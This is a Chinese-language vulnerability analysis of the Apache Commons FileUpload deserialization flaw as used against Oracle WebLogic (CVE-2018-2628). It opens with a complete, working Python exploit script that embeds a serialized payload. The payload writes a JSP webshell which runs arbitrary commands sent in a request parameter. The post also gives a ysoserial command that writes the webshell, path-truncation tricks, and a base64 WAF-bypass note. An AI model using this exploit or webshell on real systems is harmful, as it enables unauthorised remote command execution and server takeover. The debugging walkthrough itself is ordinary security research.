Apache Commons Fileupload 反序列化漏洞分析

下面是k8脚本。

# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
   
    #k8cmd weblogic http://192.11.22.67:7001/bea_wls_internal/wlscmd.jsp
    return "aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e66696c6575706c6f61642e6469736b2e4469736b46696c654974656d1f0d7226839a887103000a5a000b6973466f726d4669656c644a000473697a6549000d73697a655468726573686f6c645b000d636163686564436f6e74656e747400025b424c000b636f6e74656e74547970657400124c6a6176612f6c616e672f537472696e673b4c000864666f7346696c6574000e4c6a6176612f696f2f46696c653b4c00096669656c644e616d6571007e00024c000866696c654e616d6571007e00024c00076865616465727374002f4c6f72672f6170616368652f636f6d6d6f6e732f66696c6575706c6f61642f46696c654974656d486561646572733b4c000a7265706f7369746f727971007e0003787000ffffffffffffffff00000000757200025b42acf317f8060854e00200007870000002d43c25407061676520696d706f72743d226a6176612e696f2e2a22253e0d0a3c25407061676520696d706f72743d2273756e2e6d6973632e4241534536344465636f64657222253e0d0a3c250d0a747279207b0d0a537472696e6720636d64203d20726571756573742e676574506172616d657465722822746f6d22293b0d0a537472696e6720706174683d6170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574526571756573745552492829293b0d0a537472696e67206469723d227765626c6f676963223b0d0a696628636d642e657175616c7328224e7a55314e672229297b6f75742e7072696e7428225b535d222b6469722b225b455d22293b7d0d0a627974655b5d2062696e617279203d204241534536344465636f6465722e636c6173732e6e6577496e7374616e636528292e6465636f646542756666657228636d64293b0d0a537472696e67206b636d64203d206e657720537472696e672862696e617279293b0d0a50726f63657373206368696c64203d2052756e74696d652e67657452756e74696d6528292e65786563286b636d64293b0d0a496e70757453747265616d20696e203d206368696c642e676574496e70757453747265616d28293b0d0a6f75742e7072696e7428222d3e7c22293b0d0a696e7420633b0d0a7768696c6520282863203d20696e2e7265616428292920213d202d3129207b0d0a6f75742e7072696e742828636861722963293b0d0a7d0d0a696e2e636c6f736528293b0d0a6f75742e7072696e7428227c3c2d22293b0d0a747279207b0d0a6368696c642e77616974466f7228293b0d0a7d2063617463682028496e746572727570746564457863657074696f6e206529207b0d0a652e7072696e74537461636b547261636528293b0d0a7d0d0a7d2063617463682028494f457863657074696f6e206529207b0d0a53797374656d2e6572722e7072696e746c6e2865293b0d0a7d0d0a253e7400186170706c69636174696f6e2f6f637465742d73747265616d707400047465737471007e0009707372000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e0002787074004d736572766572735c41646d696e5365727665725c746d705c5f574c5f696e7465726e616c5c6265615f776c735f696e7465726e616c5c396a3464716b5c7761725c776c73636d642e6a7370c0807702005c7878"


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    print('--------------------------------------------')
    print('Weblogic GetShell Exploit for CVE-2018-2628')
    print('by k8gege build 20180426')
    print('--------------------------------------------')
    print("sending payload");
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(8)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

    rs=send_payload_objdata(sock, payload)
    #print('response: ' + rs)
    print('exploit completed!')
    print('shell: http://'+dip+':'+str(dport)+"/bea_wls_internal/wlscmd.jsp")
    print('Please use the k8fly connection shell')


if __name__=="__main__":
    if len(sys.argv) != 3:
        print('--------------------------------------------')
        print('Weblogic GetShell Exploit for CVE-2018-2628')
        print('by k8gege build 20180426')
        print('Usage: exploit [weblogic ip] [weblogic port]')
        print('--------------------------------------------')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    exploit(dip, dport, "", "", "", "")

发现漏洞是2628双反序列化，但是对ace..进行解码如下，并没有反序列化jrmp客户端，所以就有了下文：

定位到com.bea.core.apache.commons.fileupload_1.0.0.0_1-2-1.jar!\org\apache\commons\fileupload\disk\DiskFileItem.class这个类，明显存在任意文件写入，下面跟一下漏洞。

得到上传路径，仔细看上传路径jsp后门有一空格

实际空格是c080,截断后面路径

读入传进来的内容， 如果内容不为空就写入

最后文件写入这里

下面看一下payload如何构造的，这个类在yso工具有构造好的payload，来调试下。

java -jar ysoserial.jar FileUpload1 write;servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\wlscmd.jspjsp;"hahaha"

支持base64编码写入绕waf

实例化DiskFileItem类

调用有参构造方法，把文件名等参数传入

写入内容haha，通过反射机制对dfos和sizeThreshold重新赋值，为什么对这俩个字段赋值哪，往下看

序列化DiskFileItem类

序列化操作跟进273行，get方法

给dfos赋值为我们写入文件内容，重新赋值给cachedContent

在反序列化操作，就是写入cachedContent的值，也就是我们写入的内容

说一下调试yso工具的技巧
在payloadRunner加入反序列化操作，能够直接复现漏洞

		try {
			System.out.println("deserializing payload");
			final Object objAfter = Deserializer.deserialize(serialized);
		} catch (Exception e) {
			e.printStackTrace();
		}

以FileUpload1为例，在这里下断点

参数增加如下，debug就可以了

跟进readobject时，cachedContent就是写入内容

f7向下跟时，会建立父目录，当加入c080后，16进制解码生成俩个不认识的字符，windows就会忽略后面的字符截断后面的，写入afant.txt文件

所以总结如下：
FileUpload的1.3.1之前的版本配合JDK1.7之前的版本，能够达到写入任意文件的漏洞;（通过%00截断）
FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本，能够达到写入任意文件的漏洞;（通过c080截断目录，这也正是weblogic的漏洞）（下面链接的文章写的不正确）
FileUpload的1.3.1以及之后的版本只能向特定目录写入文件，此目录也必须存在。(文件的的命名也无法控制);（这个看下面链接分析）
参考链接：
https://www.colabug.com/4917983.html